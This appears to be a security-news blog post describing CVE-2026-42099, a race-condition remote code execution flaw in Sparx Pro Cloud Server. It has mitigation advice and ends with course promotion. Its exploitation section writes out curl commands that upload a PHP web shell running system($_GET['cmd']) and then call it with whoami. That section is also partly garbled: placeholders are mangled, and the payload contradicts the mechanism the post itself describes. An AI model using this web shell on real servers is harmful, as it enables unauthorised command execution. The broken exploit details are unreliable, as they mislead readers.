Listen to this Post
Intro: How CVE-2026-42099 Works
The vulnerability, CVE-2026-42099, is a race condition in the Sparx Pro Cloud Server affecting the `/data_api/dl_internal_artifact.php` endpoint. This endpoint accepts two key parameters: `guid` and `filename` .
When a request is sent to this endpoint, the application performs several steps sequentially:
1. The server is instructed to download the properties of an object identified by the `guid` parameter .
2. The downloaded content is saved to the current web-accessible directory (__DIR__) under a name specified by the attacker via the `filename` parameter .
3. The server then processes the file and deletes it after this task is completed.
The race condition, and the subsequent risk, arises due to the non-atomic nature of these operations. An attacker can trigger a race window by submitting a request designed to delay the response transmission. This can be achieved by either referencing an extremely large file or by establishing a very slow client connection .
As long as the response is still transmitting and the server hasn’t yet issued the deletion command, the malicious PHP file remains physically present on the server’s file system within a web-accessible location. During this critical window, the attacker can issue a second, separate request to directly invoke the uploaded PHP file .
Because the attacker controls both the file name and the file contents (which is the downloaded object’s properties), they can write any arbitrary PHP code into the file. When the second request reaches the file, the web server executes its contents. This allows a remote, unauthenticated attacker to execute arbitrary system commands, effectively achieving Remote Code Execution (RCE) on the host.
The vendor was notified of the issue but did not provide details or a version range. Only version 6.1 (build 167) is confirmed vulnerable, though earlier and later versions may also be affected .
DailyCVE Form:
Platform: Sparx Pro Cloud
Version: 6.1 (build 167)
Vulnerability : Race Condition RCE
Severity: Critical
date: 2026-05-19
Prediction: 2026-06-19
What Undercode Say:
Exploitation leverages the small race window between file creation and deletion. The following `curl` command can be used to upload a web shell, replace `
` with a valid object GUID and `[shell.php]` with your desired filename. [bash] Create the race window by uploading a large file with a slow connection curl -v -X POST "https://target.example.com/data_api/dl_internal_artifact.php?guid=[bash]&filename=shell.php" \ -H "Content-Type: application/x-www-form-urlencoded" \ --limit-rate 1k \ -d "data=<?php system(\$_GET['cmd']); ?>" During the race window, quickly execute the uploaded web shell curl "https://target.example.com/shell.php?cmd=whoami"
The vulnerability lies in the file handling logic of dl_internal_artifact.php. The pseudo-code below demonstrates the flaw:
$content = download_artifact_properties($_GET['guid']); file_put_contents($_GET['filename'], $content); do_slow_file_processing($content); unlink($_GET['filename']);
Since `do_slow_file_processing()` can be delayed, an external request to `$_GET[‘filename’]` may succeed before `unlink()` is called.
Exploit:
A fully weaponized exploit requires a valid repository GUID to point the `guid` parameter to a maliciously crafted object . The attacker uses a slowloris-style HTTP request to extend the race window, followed by a rapid secondary GET request to trigger the shell. Successful exploitation yields command execution with the privileges of the web server user.
Protection:
- Apply the vendor’s security patch as soon as it is released .
- Implement strict input validation on the `filename` parameter, ensuring it adheres to an allowlist.
- Perform file operations in a secure, non-web-accessible temporary directory outside of
__DIR__. - Harden the web server configuration to disable PHP execution in upload directories.
Impact:
Successful exploitation allows an unauthenticated attacker to execute arbitrary code on the target server, leading to complete system compromise. This can result in data theft, ransomware deployment, and use of the server as a pivot point for lateral movement within the internal network .
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
